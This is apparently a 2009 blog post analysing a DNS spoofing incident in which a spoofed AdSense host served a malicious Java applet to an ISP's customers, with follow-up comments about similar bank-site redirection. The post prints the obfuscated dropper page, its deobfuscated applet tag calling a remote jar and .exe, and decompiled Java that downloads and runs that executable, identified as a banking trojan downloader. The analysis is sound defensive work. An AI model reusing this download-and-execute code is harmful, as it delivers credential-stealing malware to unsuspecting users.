Saturday, April 04, 2009

DNS spoofing incident

My ISP's (NET Vírtua, Curitiba, Brazil) DNS record for Google's AdSense (pagead2.googlesyndication.com) was spoofed on friday night.

Friday night, at 11 pm local time, I was accessing a blog on Oracle Access Manager, one of the things I work with at the moment. The blog page seemed very legit with installation and configuration instructions for the product. After it finished loading, my firefox asked me if I wanted to execute a signed applet, with the following dialog:


Ok, the name Java Plugin sort of inspires confidence, Sun Microsystems as the publisher as well and if it weren't for

1) the strange "From" address (wwww.sl)
2) the fact that the signature had been signed by a certificate that was both untrusted and expired
3) and the fact that there was absolutely no valid motive for the blog site to run anything with a signed applet

..I actually might have considered accepting and clicked on the run.

Instead I tried refreshing the page and saw that the applet tried to run once again. I looked at the Java Plug-in console and saw this:

java.lang.SecurityException: Unable to create temporary file
at java.io.File.checkAndCreate(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at java.io.File.createTempFile(Unknown Source)
at debug.debugnow(debug.java:20)
at debug.init(debug.java:48)
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)


Ok, so the applet tried to create a temporary file on my computer. Good thing I didn't give it any extended privileges. The fact that they named their class "debug" is cute, altough somebody should point the creators to the Java coding conventions site for class and method names.

I went after the site's HTML source, trying to find an applet, object or embed tag, but had no luck so I imagined it was in an iframe or generated by javascript. By method of elimination, I got to an improbable suspect:

<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>


I opened the show_ads.js and saw that it set the content of the AdSense widget to an iframe pointing to: hxxp://wwww.sl/generic.html (do not access unless you know exactly what you're doing).

Seeing the host name, I knew something was off. I opened that page manually and my browser once again asked me if I wanted to run the applet. I pinged pagead2.googlesyndication.com to see what IP my DNS was giving me, and it was 68.23.204.165, which is nowhere near correct.

IP address:                     68.23.204.165
Reverse DNS: 68-23-204-165.ded.ameritech.net.
Reverse DNS authenticity: [Verified]
ASN: 7132
ASN Name: SBIS-AS
IP range connectivity: 19
Registrar (per ASN): ARIN
Country (per IP registrar): US [United States]
Country Currency: USD [United States Dollars]
Country IP Range: 68.0.0.0 to 68.63.255.255
Country fraud profile: Normal
City (per outside source): Akron, Ohio
Country (per outside source): US [United States]
Private (internal) IP? No
IP address registrar: whois.arin.net
Known Proxy? No
Link for WHOIS: 68.23.204.165


So that was the problem. Don't know how exactly that was done, but a quick IM roundup proved that all my friends that were awake at the time were also getting the same, wrong IP.

Curious to see what the debug class wanted to do to me, I dug deeper.

The generic.html contents were (and at the time of writing, still are) an obfuscated javascript:


<!--hppage status="protected"-->
<html><!--HEAD--><SCRIPT LANGUAGE="JavaScript"><!--

document.write(unescape("%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%30%32%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3D%22%22%2C%69%63%3D%30%2C%70%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%28%28%70%2B%2B%25%38%29%2B%31%29%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=Q@VLVS(MCMCPG@M%3C IesgTksksp'8;),/csikuklj%25nwWbo+-~tb|tpm$cgk{d%7Feqkesanl#luYjl)g*%7Fhgd5ocumbgsgs,vw`tFodlw*lhcmyMe,%22Kfk&+%229(7%3Cag%22+`jeredlw*djk!zke,`pbfu,aqqrhf%3C?1xy.jib$%25,`pbfu,`pwjLmx~%7Fasci|/if}Ficm%3C?:5,/.ssgwqwh'n`npax{bdrgxmc.b&vjjgm;:;}~+ide!.)g-ijbnnhgqw8;5t}g-gqtkCd{*-,}umuwqj%25`fdrg~yxoa ocumbgsgs,btuHfed,jjac%7FGg*$Mkrbzogw$@~wdnpfv%22/:5,3%7Fx-hf~hebpjt)}rgqEbci|/km``~Hn)%25NWLC ! ?.5# cgbwnakr)imn-h`h`|i#>4,/|ag*gkfsjmov-eij.slc`9kgqafcwkw(r{dpBc`hs&hlga}Ia &Obg%22/&5,38r`ttanl>tdttmGnleq. 8&)meso`iumq*pubz@efjq(t}cqwv-hf~hebpjt)}rgqEbci|/km``~Hn)%25NWLC !*7*(46.3hd+%25hgd.'tfvvohf?6*%7Faid}lgmp+iiknlwa}rjmow>luYde|gow`}cgbwnakr)goolqvccgvl>luYjl:flgpkbfu,ljnc~lnum9mvXee%7F~aiub(hd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{)Guakr)ENWPAAIPF}Guakr)enfjblcu{}Guakr)CD[GKRH.3vkm`jq)goolqvccgvl>luYjl:ujjaip&nlha|bh%7Fo?ktZkcudnpa%25oa em`qhci|/efp@jbedlwF|Oc.'#gkfsjmov-eij.sem`qhci|/mmgjhsmyvnaks:`q]`ix{(',/=8*UDZHRW:"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--

hp_d02(unescape("=#.)MCFL,/= :fxqnfp%25hfed?!Ndpf(Qnvclh%25(bmga8$cmcwd*fjf{r #eweoawg>&mrsx;-,srqp&rn,``dro/hbv'&omhekp8$68#%22tmaro5#33&;:wiscn$kgjm%3C {&%25pfdtg>&mrsx;-,srqp&rn,rj~disfp*fij&cp,mhg`ml,f|`$9
>,euvkmu%3C9'*%25.JFEA+*6"
));//--></SCRIPT><!--/HEAD--><!--BODY--><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT><SCRIPT LANGUAGE="JavaScript"><!--

hp_d02(unescape("=#.)GICQ,/=8$+*'CMG](+9"));//--></SCRIPT><!--/BODY--></html>


After a bit of deobfuscation, it becomes something like:

<SCRIPT LANGUAGE="JavaScript"><!--
hp_ok=true;function hp_d02(s){if(!hp_ok)return;var o="",ar=new Array(),os="",ic=0,p=0;for(i=0;i<s.length;i++){c=s.charCodeAt(i);if(c<128)c=c^((p++%8)+1);os+=String.fromCharCode(c);if(os.length>80){ar[ic++]=os;os=""}}o=ar.join("")+os;document.write(o)}//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--

function hp_cm(){return false}function hp_md(e){mac=navigator.userAgent.indexOf('Mac')!=-1;if (document.all){if(event.button==2||(mac&&(event.ctrlKey||event.keyCode==91))){return false}}else{if(e.which==3||(mac&&(e.modifiers==2||e.ctrlKey))){return false}}}if(navigator.appName.indexOf('Internet Explorer')==-1||(navigator.userAgent.indexOf('MSIE')!=-1&&document.all.length!=0)){if(document.all){mac=navigator.userAgent.indexOf('Mac')!=-1;version=parseFloat('0'+navigator.userAgent.substr(navigator.userAgent.indexOf('MSIE')+5),10);if(!mac&&version>4){document.oncontextmenu=hp_cm}else{document.onmousedown=hp_md;document.onkeydown=hp_md}}else if(document.layers){window.captureEvents(Event.MOUSEDOWN|Event.modifiers|Event.KEYDOWN);window.onmousedown=hp_md;window.onkeydown=hp_md}else if(document.getElementById&&!document.all){document.oncontextmenu=hp_cm}}//--></SCRIPT><!--HEAD-->

<applet name="Java Plugin" code="debug.class" archive="http://wwww.sl/debug.jar" height="10" width="10"><param name="x" value="http://wwww.sl/voxcards.com.br/imagem.exe">

</applet>
<!--/HEAD--><!--BODY--><!--/BODY-->


I imagine the javascript is for disabling sourcecode viewing, etc., but the interesting part is the applet tag. I downloaded the debug.jar and the most interesting part of the code is this:

byte abyte0[] = new byte[10240];

String s = getParameter("x");
String s1 = ".exe";

File file = File.createTempFile("roger", s1);
FileOutputStream fileoutputstream = new FileOutputStream(file);

URL url = new URL(s);
URLConnection urlconnection = url.openConnection();

BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
int i;

while((i = bufferedinputstream.read(abyte0)) > 0)

fileoutputstream.write(abyte0, 0, i);
fileoutputstream.close();

try
{
Runtime.getRuntime().exec(file.getAbsolutePath());

}
catch(IOException ioexception)
{
File file1 = File.createTempFile("tmp", ".bat");

file1.createNewFile();
file1.deleteOnExit();
Runtime.getRuntime().exec(file1.getAbsolutePath());

file1.delete();
}
file.deleteOnExit();


In other words, download the file indicated by parameter x (hxxp://wwww.sl/voxcards.com.br/imagem.exe -- do not download unless you know what you're doing), save it as a temp file and execute it.

Someone had already uploaded the debug.jar to virustotal, the antivirus guys seem to discriminate Java, and no one detects anything. In all fairness, I guess it's pretty generic and could be used to download & execute anything.

http://www.virustotal.com/analisis/b5dfb4cae55beb8548dfea31a59bd0c2

I uploaded the imagem.exe (portuguese for image) to virustotal:
http://www.virustotal.com/analisis/5b4444c18ce344611d1d3113485c1d3d
and 7 products detect it:

a-squared         4.0.0.101   2009.04.04 Trojan-Downloader.Win32.Banload!IK
AntiVir 7.9.0.129 2009.04.03 TR/Spy.Banker.Gen
eSafe 7.0.17.0 2009.04.02 Suspicious File
F-Secure 8.0.14470.0 2009.04.03 Suspicious:W32/Malware!Gemini
Ikarus T3.1.1.49.0 2009.04.04 Trojan-Downloader.Win32.Banload
McAfee-GW-Edition 6.7.6 2009.04.03 Trojan.Spy.Banker.Gen
Sophos 4.40.0 2009.04.04 Sus/BancDl-A


I executed the applet inside a sandbox, and it downloaded and executed the imagem.exe as expected. From what I could empirically gather, the imagem.exe downloaded and executed another file:
http://www.virustotal.com/analisis/b37d3dc31d57e1aa0973cbeabe43dbd8
Which was only detected by one vendor as: Win-Trojan/Banload.403968.D

The DNS in question was giving the wrong IP at least from 23:00:00 03/04/2008 GMT-3 until 01:35:00 04/04/2008 GMT-3. I dare not guess how many got infected.

2 comments:

Walrus said...

What was the Net's DNS number that gave to you the wrong IP? I had a similar problem but with other address, the bank address www.bradesco.com.br. The problem was with the Net's DNS 201.6.0.43.
See more here:

http://stoa.usp.br/walrus/weblog/47454.html

and here:

http://stoa.usp.br/calsaverini/weblog/47461.html

http://stoa.usp.br/calsaverini/weblog/47466.html

Sami Koivu said...

@Walrus

Unfortunately I did write down the DNS server in question. However, the DHCP seems to be always assigning these two to me:
200.250.77.87
200.250.77.85

And in any case, at the time I contacted about 3 friends, all of them NET clients in Curitiba-PR, and all were affected.